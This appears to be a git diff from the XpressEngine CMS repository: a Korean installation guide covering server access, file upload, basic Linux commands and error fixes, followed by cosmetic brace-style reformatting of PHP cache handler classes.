    XE를 설치하기 위해서는 서버에 접근할 수 있는 계정과 XE 정보가 저장되는 데이터베이스의 계정이 필요합니다. 다음과 같이 서버와 데이터베이스 계정을 확인합니다.

    +
      +
    1. 서버에 관리자 계정으로 로그인한 후 useradd 명령어를 사용해서 사용자 계정을 생성합니다. useradd 명령어의 자세한 사용법은 "계정 생성 명령어 - useradd"를 참조하십시오. +

      단, 웹 호스팅 업체에서 제공받은 서버라면 해당 업체에 문의하여 계정을 확인합니다.

      +
    2. +
    3. XE 설치 및 운영에 필요한 모든 정보가 저장될 데이터베이스의 계정 정보를 확인합니다. 사용 중인 DBMS 계정 생성 및 확인 방법은 공식 사이트를 참고하시기 바랍니다. +
      +
      CUBRID 공식 사이트
      +
      http://www.cubrid.com/zbxe/home
      +
      Firebird 공식 사이트
      +
      http://www.firebirdsql.org/
      +
      MySQL 공식 사이트
      +
      http://www.MySQL.com/
      +
      PostgreSQL 공식 사이트
      +
      http://www.postgresql.org/
      +
      SQLite 공식 사이트
      +
      http://www.sqlite.org/
      +
      MS SQL 서버 공식 사이트
      +
      http://www.microsoft.com/korea/sqlserver/2008/default.aspx
      +
      +
    4. +
    +
    +
    +

    PuTTY 사용

    +

    서버에 접근하기 위해서 PuTTY(퍼티)라는 원격 접속 프로그램을 사용합니다. PuTTY는 telnet이나 SSH(Secure Shell) 프로토콜을 지원하는 서버에서만 사용할 수 있습니다.

    +

    PuTTY 프로그램의 설치 및 사용 방법은 다음과 같습니다.

    +
      +
    1. KLDP 한글 iPuTTY 프로젝트(http://www.kldp.net/projects/iputty/download)에서 설치 파일을 다운로드해서 설치합니다. +
      참고 +

      PuTTY 공식 사이트(http://www.putty.nl/)에서 다운로드한 프로그램은 한글이 지원되지 않으므로, 위의 사이트에서 설치 파일을 다운로드하기를 권장합니다.

      +
      +
    2. +
    3. PuTTY 실행 화면에서 Host Name에 서버 주소를 입력하고 창 아래쪽의 열기를 클릭합니다.
    4. +
    5. 로그인 화면이 나타나면 아이디와 비밀번호를 차례대로 입력합니다. +

      비밀번호를 입력할 때 화면에 변화가 없어서 입력 내용을 확인할 수는 없지만, 비밀번호를 올바로 입력하고 엔터 키를 누르면 인증 성공/실패 여부가 나타납니다.

      +
      CMD Prompt 화면 +
      PuTTY 로그인 화면
      +
      +
    6. +
    +
    +
    +

    XE core 설치 파일 업로드

    +

    내 컴퓨터에 저장된 파일을 웹 서버에 업로드하려면 FTP(File Transfer Protocol) 프로그램이 필요합니다. 이 문서에서는 FileZilla라는 무료 공개 프로그램을 사용합니다. FileZilla는 FileZilla 공식 사이트(http://filezilla-project.org/download.php?type=client)에서 다운로드할 수 있습니다.

    +

    FileZilla를 사용해서 XE가 설치될 서버에 접속하여 파일을 업로드합니다.

    +
    +
    호스트:
    +
    서버 도메인 주소 또는 IP주소
    +
    사용자명:
    +
    서버 접근 권한이 있는 계정. 위에서 설명한 PuTTY로 서버에 접속할 때 사용한 계정을 입력합니다.
    +
    비밀번호:
    +
    계정 비밀번호
    +
    포트:
    +
    접근 서버의 FTP 포트 번호. 일반적으로 21을 사용합니다. 서버 관리자가 FTP 포트 번호를 변경할 수 있으므로, 접속이 되지 않으면 접근 서버의 FTP 포트 번호를 다시 한 번 확인하십시오.
    +
    +
    FileZilla 실행 후 서버 접속 성공 화면 +
    FileZilla 실행 후 서버 접속 성공 화면
    +
    +
    +
    +
    +

    XE core 설치 파일 형식별 업로드 방법

    +

    웹 서버에 XE core 파일을 업로드하는 방법에는 두 가지가 있습니다.

    +
      +
    • zip 파일을 다운로드해서 압축을 해제한 후 서버에 업로드
    • +
    • tgz 파일을 다운로드해서 서버에 업로드한 후 압축 해제
    • +
    +

    두 가지 방법 중 편한 방법을 선택해서 사용합니다.

    +
    +

    압축 해제 후 파일 업로드

    +
      +
    1. 확장자가 zip인 XE core 설치 파일을 내 컴퓨터에 다운로드해서 압축을 해제합니다.
    2. +
    3. FileZilla를 사용해서 압축이 해제되어 생성된 xe 디렉터리에 포함된 파일을 서버에 업로드합니다.
    4. +
    +
    참고 +

    XE core 파일은 서버의 root 디렉터리에 업로드합니다. 예를 들어, manual.xpressengine.com 서버의 root 디렉터리에 xe 디렉터리를 업로드하면, manual.xpressengine.com/xe로 접근해야 합니다.

    +
    +
    +
    +

    파일 업로드 후 압축 해제

    +

    Windows 환경에서는 파일을 업로드한 후 설치된 압축 프로그램을 사용하여 압축을 해제합니다.

    +

    Linux 환경에서는 다음과 같이 파일을 업로드한 후 압축을 해제합니다.

    +
      +
    1. 확장자가 tgz인 XE core 설치 파일을 내 컴퓨터에 다운로드해서 서버에 업로드합니다.
    2. +
    3. PuTTY를 실행해서 서버에 접속한 후 root 디렉터리로 이동합니다.
    4. +
    5. ls 명령어를 입력해서 xe.x.x.x.tgz 파일이 업로드되었는지 확인합니다.
    6. +
    7. tar 명령어를 이용하여 tgz 파일의 압축을 해제합니다. +
      CMD Prompt 화면
      +
    8. +
    9. mv 명령어를 사용해서 생성된 xe 디렉터리의 하위 내용을 root 디렉터리로 옮깁니다. 그러면 도메인 경로로 웹 페이지에 접근할 수 있습니다. +

      mv xe/* .

      +

      이때, 명령어 마지막의 점(.)을 빠트리지 않도록 주의합니다.
      + .htaccess 파일은 '*'로 옮겨지지 않을 수 있으므로 아래와 같이 한번더 합니다. '.htaccess' 파일은 짧은주소를 사용하기 위해 필요합니다.

      +

      mv xe/.htaccess .

      +
      CMD Prompt 화면
      +
    10. +
    11. 이미 xe.x.x.x.tgz 파일의 압축을 해제하고 xe 디렉터리 내용을 모두 이동시켰으므로, rm 명령어를 사용해서 xe.x.x.x.tgz 파일과 xe 디렉터리를 삭제합니다. +
      참고 +

      Linux 명령어에 대한 자세한 설명은 "Linux 명령어"를 참조하십시오.

      +
      +
    12. +
    +
    +
    +
    +

    Linux 명령어

    +
    +

    파일 압축 및 해제 명령어 - tar

    +
    +
    사용 형식:
    +
    tar <Operation> [Options] (디렉터리 경로 또는 압축파일 경로)
    +
    +

    <Operation>

    +
    +
    [-]A:
    +
    압축 파일에 tar 파일 추가
    +
    [-]c:
    +
    tar 파일 생성
    +
    [-]d:
    +
    압축 파일과 비교할 때 사용. tar 파일과 해당 파일 시스템의 차이점을 확인할 때 사용
    +
    [-]r:
    +
    압축 파일의 끝부분에 파일 추가
    +
    [-]t:
    +
    압축 파일의 목록 확인
    +
    [-]u:
    +
    이미 압축되어 있는 파일보다 더 새로운 파일일 때 추가
    +
    [-]x:
    +
    압축 파일의 압축 해제
    +
    --delete:
    +
    압축 파일에서 파일 삭제
    +
    +

    <Common Options>

    +
    +
    -C:
    +
    압축 파일을 해제할 위치 지정
    +
    -f:
    +
    파일 이름 지정
    +
    -j:
    +
    bzip2로 압축 또는 압축 해제
    +
    -p:
    +
    tar 파일을 생성하거나 압축을 해제할 때 원본 파일의 속성(권한, 디렉터리 소유자 등의 속성 정보)을 그대로 유지
    +
    -v:
    +
    압축하거나 해제할 때 과정을 자세히 출력
    +
    -z:
    +
    gzip으로 압축이나 압축 해제를 한꺼번에 하려고 할 때 사용
    +
    +
    +
    +

    파일 및 디렉터리 삭제 명령어 - rm

    +
    +
    사용 형식:
    +
    rm [Option] (파일 또는 디렉터리 경로)
    +
    +

    [Option]

    +
    +
    [-]f:
    +
    삭제할 파일을 추가 확인 없이 강제로 삭제
    +
    [-]r:
    +
    디렉터리와 하위 디렉터리 및 파일을 모두 삭제
    +
    [-]v:
    +
    삭제하고 있는 파일의 정보 출력
    +
    +
    +
    +

    파일 및 디렉터리 이동 명령어 - mv

    +
    +
    사용 형식:
    +
    mv [option] (파일 또는 디렉터리 경로) (파일 이름 또는 디렉터리 경로)
    +
    +

    [Option]

    +
    +
    [-]b:
    +
    대상 파일이 있는 경우 덮어 쓰기 전 백업 파일 생성
    +
    [-]f:
    +
    대상 파일이 있는 경우 강제로 덮어 씀
    +
    [-]u:
    +
    대상 파일이 있는 경우 대상 내용이 최신일 때만 덮어 씀
    +
    [-]v:
    +
    파일 이동 과정 출력
    +
    +
    +
    +

    디렉터리 생성 명령어 - mkdir

    +
    +
    사용 형식:
    +
    mkdir [Option] (디렉터리 이름)
    +
    +

    [Option]

    +
    +
    [-]p:
    +
    최종 디렉터리 이름의 상위 디렉터리가 없으면 상위 디렉터리까지 모두 생성
    +
    +
    +
    +

    파일 및 디렉터리 권한 변경 명령어 - chmod

    +
    +
    사용 형식:
    +
    chmod [Option] <mode> (파일 또는 디렉터리 경로)
    +
    +

    [Option]

    +
    +
    [-]c:
    +
    실제로 파일의 권한이 바뀐 파일만 출력
    +
    [-]f:
    +
    파일의 권한을 변경할 수 없는 경우에 발생하는 오류 메시지를 출력하지 않고자 할 때 사용
    +
    [-]v:
    +
    변경된 권한에 대한 내용 출력
    +
    [-]R:
    +
    디렉터리와 파일의 권한을 모두 변경
    +
    +

    <mode>

    +

    파일 및 디렉터리가 가질 수 있는 권한은 r(read 읽기), w(write 쓰기), x(execute 실행) 이렇게 세 가지입니다. 각 권한은 아래 표와 같이 고유의 값을 가지며, 이 값을 더한 값으로 mode를 생성할 수 있습니다.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    UserGroupOthers
    rwxrwxrwx
    400200100402010421
    700707
    +

    예를 들어, 모든 권한을 주려면 위의 값을 모두 더한 777을 mode로 사용합니다. 사용자는 모든 권한을 갖고, 그 외의 사용자들은 읽기와 실행권한만 주려면, mode를 755로 설정합니다.

    +
    +
    +

    계정 생성 명령어 - useradd

    +
    +
    사용형식:
    +
    useradd [Option] (계정이름)
    +
    +

    [Option]

    +
    +
    [-]u:
    +
    사용자 ID
    +
    [-]g:
    +
    그룹ID 또는 그룹 이름
    +
    [-]s:
    +
    사용되는 SHELL 정보
    +
    [-]d:
    +
    사용자 Home 디렉터리
    +
    +
    +
    +

    오류 처리

    +

    이 절에서는 XE를 설치 및 설정할 때 발생할 수 있는 오류와 해결 방법을 설명합니다.

    +
    +

    MySQL 최소 버전 오류

    +
    +
    오류 사항:
    +
    "XE cannot be installed under the version of MySQL 4.1. Current MySQL version is x.x.x-log" 메시지가 나타납니다.
    +
    원인:
    +
    MySQL 버전이 최소 지원 버전보다 낮은 경우 발생합니다.
    +
    해결 방법:
    +
    MySQL을 4.1 이상으로 업데이트합니다.
    +
    +
    +
    +

    DB 계정 정보 오류

    +
    +
    오류 사항:
    +
    "Access denied for user 'xxx'@'xxxx' (using password: YES) xxx" 메시지가 나타납니다.
    +
    원인:
    +
    DB 계정이 없거나, 비밀번호가 잘못되었거나, 연결하려는 데이터베이스에 대한 접근 권한이 없는 경우 발생합니다.
    +
    해결 방법:
    +
    계정 설정 및 접근 권한 정보, 입력한 데이터베이스 정보가 올바른지 확인합니다.
    +
    +
    +
    +

    XE 설치 시 권한 설정 누락 오류

    +
    권한 설정 누락 오류 화면 +
    권한 설정 누락 오류 화면
    +
    +
    +
    오류 사항:
    +
    "[필수] XE의 설치 경로 또는 ./files 디렉터리의 퍼미션이 707이어야 합니다." 메시지가 나타납니다.
    +
    원인:
    +
    XE 설치 경로에 files 디렉터리가 없는 경우 발생합니다.
    +
    해결 방법(Windows):
    +
    XE 설치 경로에 files 디렉터리가 있는지 확인합니다.
    +
    +

    Windows XP에서는 파일이나 폴더에 대한 권한을 별도로 설정할 필요 없이 XE를 설치할 수 있습니다. 단, Windows 7(IIS7)에서는 다음과 같이 IIS_IUSRS(그룹) 및 IUSRS(사용자)에게 권한을 부여해야 합니다.

    +
      +
    1. XE를 설치한 폴더(여기서는 C:\Inetpub\wwwroot\xe)에서 마우스 오른쪽 버튼을 클릭하여 나타난 컨텍스트 메뉴에서 속성을 선택합니다.
    2. +
    3. 폴더의 속성 창에서 보안 탭을 선택합니다.
    4. +
    5. 창 가운데의 편집을 클릭합니다.
    6. +
    7. 폴더의 사용 권한 창에서 그룹 또는 사용자 이름 목록 중에 IIS_IUSRS 그룹과 IUSR 사용자가 있는지 확인하고, 없으면 추가를 클릭합니다.
    8. +
    9. 사용자 또는 그룹 선택 창에서 선택할 개체 이름을 입력하십시오 아래에 IUSR를 입력하고, 이름 확인을 클릭한 후 확인을 클릭합니다.
    10. +
    11. 폴더의 사용 권한 창에서 다시 한 번 추가를 클릭합니다.
    12. +
    13. 사용자 또는 그룹 선택 창에서 이번에는 IIS_USRS를 입력하고, 이름 확인을 클릭한 후 확인을 클릭합니다.
    14. +
    15. 사용자와 그룹이 모두 추가되었으면 IUSR를 선택하고, 아래의 사용 권한 중 모든 권한에 허용을 클릭한 후 적용을 클릭합니다. +
      XE 의 사용권한
      +
    16. +
    17. IIS_IUSRS에도 동일하게 모든 권한을 적용하도록 설정합니다.
    18. +
      +
      해결 방법(Linux):
      +
      XE 설치 경로에 files 디렉터리가 있는지 확인합니다.
      +
      +

      Linux 환경에서는 files 디렉터리가 없으면 mkdir 명령어로 files 디렉터리를 생성하고, chmod 명령어를 이용하여 권한을 설정합니다.

      +
      CMD Prompt 화면
      +
    +
    +
    +

    쉬운 설치 진행 시 FTP 홈 디렉터리 설정 오류

    +
    +
    오류 사항:
    +
    "msg_make_directory_failed" 메시지가 나타납니다.
    +
    원인:
    +
    사이트 환경 설정의 '설치된 XE의 FTP경로 설정' 값이 잘못된 경우 발생합니다.
    +
    해결 방법:
    +
    설치된 XE의 절대 경로를 확인하여 값을 다시 설정합니다(XE의 절대 경로 끝에 반드시 '/'를 함께 표기해야 합니다).
    +
    +
    +
    +
    +
    + +
    +
    +
    + + + + diff --git a/admin/index.php b/admin/index.php index a9ee24778..1a6d787e3 100644 --- a/admin/index.php +++ b/admin/index.php @@ -1,2 +1,5 @@ valid_time; - return apc_store(md5(_XE_PATH_.$key), array(time(), $buff), $valid_time); + function put($key, $buff, $valid_time = 0) + { + if($valid_time == 0) + { + $valid_time = $this->valid_time; + } + + return apc_store(md5(_XE_PATH_ . $key), array(time(), $buff), $valid_time); } /** @@ -61,20 +74,25 @@ class CacheApc extends CacheBase { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0) { - $_key = md5(_XE_PATH_.$key); + function isValid($key, $modified_time = 0) + { + $_key = md5(_XE_PATH_ . $key); $obj = apc_fetch($_key, $success); - if(!$success || !is_array($obj)) return false; + if(!$success || !is_array($obj)) + { + return false; + } unset($obj[1]); - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } - + return true; } @@ -83,15 +101,20 @@ class CacheApc extends CacheBase { * * @param string $key The $key used to store the value. * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0) { - $_key = md5(_XE_PATH_.$key); + function get($key, $modified_time = 0) + { + $_key = md5(_XE_PATH_ . $key); $obj = apc_fetch($_key, $success); - if(!$success || !is_array($obj)) return false; + if(!$success || !is_array($obj)) + { + return false; + } - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } @@ -105,8 +128,9 @@ class CacheApc extends CacheBase { * @param string $_key Used to store the value. * @return void */ - function _delete($_key) { - $this->put($_key,null,1); + function _delete($_key) + { + $this->put($_key, null, 1); } /** @@ -115,7 +139,8 @@ class CacheApc extends CacheBase { * @param string $key Used to store the value. * @return void */ - function delete($key) { + function delete($key) + { $this->_delete($key); } @@ -124,10 +149,11 @@ class CacheApc extends CacheBase { * * @return bool Returns true on success or false on failure. */ - function truncate() { + function truncate() + { return apc_clear_cache('user'); } -} +} /* End of file CacheApc.class.php */ /* Location: ./classes/cache/CacheApc.class.php */ diff --git a/classes/cache/CacheFile.class.php b/classes/cache/CacheFile.class.php index bc3f11336..5e8b31dd7 100644 --- a/classes/cache/CacheFile.class.php +++ b/classes/cache/CacheFile.class.php @@ -1,12 +1,15 @@ cache_dir = _XE_PATH_ . $this->cache_dir; - if(!is_dir($this->cache_dir)) FileHandler::makeDir($this->cache_dir); + if(!is_dir($this->cache_dir)) + { + FileHandler::makeDir($this->cache_dir); + } } /** @@ -47,16 +56,18 @@ class CacheFile extends CacheBase { * @param string $key The key that will be associated with the item. * @return string Returns cache file path */ - function getCacheFileName($key){ + function getCacheFileName($key) + { return $this->cache_dir . str_replace(':', '_', $key); } - + /** * Return whether support or not support cache * * @return true */ - function isSupport(){ + function isSupport() + { return true; } @@ -68,8 +79,9 @@ class CacheFile extends CacheBase { * @param int $valid_time Not used * @return void */ - function put($key, $obj, $valid_time = 0){ - $cache_file = $this->getCacheFileName($key); + function put($key, $obj, $valid_time = 0) + { + $cache_file = $this->getCacheFileName($key); $text = serialize($obj); FileHandler::writeFile($cache_file, $text); } @@ -81,10 +93,14 @@ class CacheFile extends CacheBase { * @param int $modified_time Not used * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0) { + function isValid($key, $modified_time = 0) + { $cache_file = $this->getCacheFileName($key); - if(file_exists($cache_file)) return true; - + if(file_exists($cache_file)) + { + return true; + } + return false; } @@ -95,11 +111,15 @@ class CacheFile extends CacheBase { * @param int $modified_time Not used * @return false|mixed Return false on failure. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0) { + function get($key, $modified_time = 0) + { $cache_file = $this->getCacheFileName($key); $content = FileHandler::readFile($cache_file); - if(!$content) return false; - + if(!$content) + { + return false; + } + return unserialize($content); } @@ -109,7 +129,8 @@ class CacheFile extends CacheBase { * @param string $_key Used to store the value. * @return void */ - function _delete($_key) { + function _delete($_key) + { $cache_file = $this->getCacheFileName($_key); FileHandler::removeFile($cache_file); } @@ -120,7 +141,8 @@ class CacheFile extends CacheBase { * @param string $key Used to store the value. * @return void */ - function delete($key) { + function delete($key) + { $this->_delete($key); } @@ -129,10 +151,11 @@ class CacheFile extends CacheBase { * * @return bool Returns true on success or false on failure. */ - function truncate() { + function truncate() + { FileHandler::removeFilesInDir($this->cache_dir); } -} +} /* End of file CacheFile.class.php */ /* Location: ./classes/cache/CacheFile.class.php */ diff --git a/classes/cache/CacheHandler.class.php b/classes/cache/CacheHandler.class.php index 1fa0040ae..dc574b6e3 100644 --- a/classes/cache/CacheHandler.class.php +++ b/classes/cache/CacheHandler.class.php @@ -1,10 +1,13 @@ use_object_cache =='apc') $type = 'apc'; - else if(substr($info->use_object_cache,0,8)=='memcache'){ + function CacheHandler($target, $info = null, $always_use_file = false) + { + if(!$info) + { + $info = Context::getDBInfo(); + } + + if($info) + { + if($target == 'object') + { + if($info->use_object_cache == 'apc') + { + $type = 'apc'; + } + else if(substr($info->use_object_cache, 0, 8) == 'memcache') + { $type = 'memcache'; $url = $info->use_object_cache; - } else if($info->use_object_cache == 'wincache') $type = 'wincache'; - else if($info->use_object_cache =='file') $type = 'file'; - else if($always_use_file) $type = 'file'; - }else if($target == 'template'){ - if($info->use_template_cache =='apc') $type = 'apc'; - else if(substr($info->use_template_cache,0,8)=='memcache'){ + } + else if($info->use_object_cache == 'wincache') + { + $type = 'wincache'; + } + else if($info->use_object_cache == 'file') + { + $type = 'file'; + } + else if($always_use_file) + { + $type = 'file'; + } + } + else if($target == 'template') + { + if($info->use_template_cache == 'apc') + { + $type = 'apc'; + } + else if(substr($info->use_template_cache, 0, 8) == 'memcache') + { $type = 'memcache'; $url = $info->use_template_cache; - } else if($info->use_template_cache == 'wincache') $type = 'wincache'; + } + else if($info->use_template_cache == 'wincache') + { + $type = 'wincache'; + } } - if($type){ + if($type) + { $class = 'Cache' . ucfirst($type); include_once sprintf('%sclasses/cache/%s.class.php', _XE_PATH_, $class); - $this->handler = call_user_func(array($class,'getInstance'), $url); - $this->keyGroupVersions = $this->handler->get('key_group_versions', 0); - if(!$this->keyGroupVersions) { - $this->keyGroupVersions = array(); - $this->handler->put('key_group_versions', $this->keyGroupVersions, 0); - } + $this->handler = call_user_func(array($class, 'getInstance'), $url); + $this->keyGroupVersions = $this->handler->get('key_group_versions', 0); + if(!$this->keyGroupVersions) + { + $this->keyGroupVersions = array(); + $this->handler->put('key_group_versions', $this->keyGroupVersions, 0); + } } } } @@ -81,8 +119,12 @@ class CacheHandler extends Handler { * * @return boolean */ - function isSupport(){ - if($this->handler && $this->handler->isSupport()) return true; + function isSupport() + { + if($this->handler && $this->handler->isSupport()) + { + return true; + } return false; } @@ -91,11 +133,15 @@ class CacheHandler extends Handler { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0){ - if(!$this->handler) return false; + function get($key, $modified_time = 0) + { + if(!$this->handler) + { + return false; + } return $this->handler->get($key, $modified_time); } @@ -105,12 +151,16 @@ class CacheHandler extends Handler { * @param string $key Cache key * @param mixed $obj Value of a variable to store. $value supports all data types except resources, such as file handlers. * @param int $valid_time Time for the variable to live in the cache in seconds. - * After the value specified in ttl has passed the stored variable will be deleted from the cache. - * If no ttl is supplied, use the default valid time. + * After the value specified in ttl has passed the stored variable will be deleted from the cache. + * If no ttl is supplied, use the default valid time. * @return bool|void Returns true on success or false on failure. If use CacheFile, returns void. */ - function put($key, $obj, $valid_time = 0){ - if(!$this->handler) return false; + function put($key, $obj, $valid_time = 0) + { + if(!$this->handler) + { + return false; + } return $this->handler->put($key, $obj, $valid_time); } @@ -120,8 +170,12 @@ class CacheHandler extends Handler { * @param string $key Cache key * @return void */ - function delete($key){ - if(!$this->handler) return false; + function delete($key) + { + if(!$this->handler) + { + return false; + } return $this->handler->delete($key); } @@ -130,11 +184,15 @@ class CacheHandler extends Handler { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time){ - if(!$this->handler) return false; + function isValid($key, $modified_time) + { + if(!$this->handler) + { + return false; + } return $this->handler->isValid($key, $modified_time); } @@ -143,8 +201,12 @@ class CacheHandler extends Handler { * * @return bool|void Returns true on success or false on failure. If use CacheFile, returns void. */ - function truncate(){ - if(!$this->handler) return false; + function truncate() + { + if(!$this->handler) + { + return false; + } return $this->handler->truncate(); } @@ -164,8 +226,10 @@ class CacheHandler extends Handler { * @param string $key Cache key * @return string */ - function getGroupKey($keyGroupName, $key){ - if(!$this->keyGroupVersions[$keyGroupName]){ + function getGroupKey($keyGroupName, $key) + { + if(!$this->keyGroupVersions[$keyGroupName]) + { $this->keyGroupVersions[$keyGroupName] = 1; $this->handler->put('key_group_versions', $this->keyGroupVersions, 0); } @@ -179,10 +243,12 @@ class CacheHandler extends Handler { * @param string $keyGroupName Group name * @return void */ - function invalidateGroupKey($keyGroupName){ + function invalidateGroupKey($keyGroupName) + { $this->keyGroupVersions[$keyGroupName]++; $this->handler->put('key_group_versions', $this->keyGroupVersions, 0); } + } /** @@ -190,17 +256,19 @@ class CacheHandler extends Handler { * * @author NHN (developer@xpressengine.com) */ -class CacheBase{ +class CacheBase +{ /** * Get cached data * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0){ + function get($key, $modified_time = 0) + { return false; } @@ -210,11 +278,12 @@ class CacheBase{ * @param string $key Cache key * @param mixed $obj Value of a variable to store. $value supports all data types except resources, such as file handlers. * @param int $valid_time Time for the variable to live in the cache in seconds. - * After the value specified in ttl has passed the stored variable will be deleted from the cache. - * If no ttl is supplied, use the default valid time. + * After the value specified in ttl has passed the stored variable will be deleted from the cache. + * If no ttl is supplied, use the default valid time. * @return bool|void Returns true on success or false on failure. If use CacheFile, returns void. */ - function put($key, $obj, $valid_time = 0){ + function put($key, $obj, $valid_time = 0) + { return false; } @@ -223,10 +292,11 @@ class CacheBase{ * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0){ + function isValid($key, $modified_time = 0) + { return false; } @@ -235,7 +305,8 @@ class CacheBase{ * * @return boolean */ - function isSupport(){ + function isSupport() + { return false; } @@ -244,10 +315,11 @@ class CacheBase{ * * @return bool|void Returns true on success or false on failure. If use CacheFile, returns void. */ - function truncate(){ + function truncate() + { return false; } -} +} /* End of file CacheHandler.class.php */ /* Location: ./classes/cache/CacheHandler.class.php */ diff --git a/classes/cache/CacheMemcache.class.php b/classes/cache/CacheMemcache.class.php index 17962a71c..1ba319ef2 100644 --- a/classes/cache/CacheMemcache.class.php +++ b/classes/cache/CacheMemcache.class.php @@ -1,10 +1,13 @@ Memcache = new Memcache; - foreach($config['url'] as $url) { + foreach($config['url'] as $url) + { $info = parse_url($url); $this->Memcache->addServer($info['host'], $info['port']); } @@ -53,11 +60,18 @@ class CacheMemcache extends CacheBase { * * @return bool Return true on support or false on not support */ - function isSupport(){ - if($GLOBALS['XE_MEMCACHE_SUPPORT']) return true; - if($this->Memcache->set('xe', 'xe', MEMCACHE_COMPRESSED, 1)) { + function isSupport() + { + if($GLOBALS['XE_MEMCACHE_SUPPORT']) + { + return true; + } + if($this->Memcache->set('xe', 'xe', MEMCACHE_COMPRESSED, 1)) + { $GLOBALS['XE_MEMCACHE_SUPPORT'] = true; - } else { + } + else + { $GLOBALS['XE_MEMCACHE_SUPPORT'] = false; } return $GLOBALS['XE_MEMCACHE_SUPPORT']; @@ -69,8 +83,9 @@ class CacheMemcache extends CacheBase { * @param string $key Cache key * @return string Return unique key */ - function getKey($key){ - return md5(_XE_PATH_.$key); + function getKey($key) + { + return md5(_XE_PATH_ . $key); } /** @@ -86,12 +101,16 @@ class CacheMemcache extends CacheBase { * @param string $key The key that will be associated with the item. * @param mixed $buff The variable to store. Strings and integers are stored as is, other types are stored serialized. * @param int $valid_time Expiration time of the item. - * You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days). - * If it's equal to zero, use the default valid time CacheMemcache::valid_time. + * You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days). + * If it's equal to zero, use the default valid time CacheMemcache::valid_time. * @return bool Returns true on success or false on failure. */ - function put($key, $buff, $valid_time = 0){ - if($valid_time == 0) $valid_time = $this->valid_time; + function put($key, $buff, $valid_time = 0) + { + if($valid_time == 0) + { + $valid_time = $this->valid_time; + } return $this->Memcache->set($this->getKey($key), array(time(), $buff), MEMCACHE_COMPRESSED, $valid_time); } @@ -101,17 +120,22 @@ class CacheMemcache extends CacheBase { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0) { + function isValid($key, $modified_time = 0) + { $_key = $this->getKey($key); $obj = $this->Memcache->get($_key); - if(!$obj || !is_array($obj)) return false; + if(!$obj || !is_array($obj)) + { + return false; + } unset($obj[1]); - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } @@ -126,15 +150,20 @@ class CacheMemcache extends CacheBase { * * @param string $key The key to fetch * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0) { + function get($key, $modified_time = 0) + { $_key = $this->getKey($key); $obj = $this->Memcache->get($_key); - if(!$obj || !is_array($obj)) return false; + if(!$obj || !is_array($obj)) + { + return false; + } - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } @@ -152,7 +181,8 @@ class CacheMemcache extends CacheBase { * @param string $key The key associated with the item to delete. * @return void */ - function delete($key) { + function delete($key) + { $_key = $this->getKey($key); $this->_delete($_key); } @@ -164,7 +194,8 @@ class CacheMemcache extends CacheBase { * @param string $_key The key associated with the item to delete. * @return void */ - function _delete($_key) { + function _delete($_key) + { $this->Memcache->delete($_key); } @@ -177,10 +208,11 @@ class CacheMemcache extends CacheBase { * * @return bool Returns true on success or false on failure. */ - function truncate() { + function truncate() + { return $this->Memcache->flush(); } -} +} /* End of file CacheMemcache.class.php */ /* Location: ./classes/cache/CacheMemcache.class.php */ diff --git a/classes/cache/CacheWincache.class.php b/classes/cache/CacheWincache.class.php index 248e98932..3b86815ee 100644 --- a/classes/cache/CacheWincache.class.php +++ b/classes/cache/CacheWincache.class.php @@ -1,12 +1,15 @@ valid_time; - return wincache_ucache_set(md5(_XE_PATH_.$key), array(time(), $buff), $valid_time); + function put($key, $buff, $valid_time = 0) + { + if($valid_time == 0) + { + $valid_time = $this->valid_time; + } + return wincache_ucache_set(md5(_XE_PATH_ . $key), array(time(), $buff), $valid_time); } /** @@ -64,20 +76,25 @@ class CacheWincache extends CacheBase { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0) { - $_key = md5(_XE_PATH_.$key); + function isValid($key, $modified_time = 0) + { + $_key = md5(_XE_PATH_ . $key); $obj = wincache_ucache_get($_key, $success); - if(!$success || !is_array($obj)) return false; + if(!$success || !is_array($obj)) + { + return false; + } unset($obj[1]); - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { 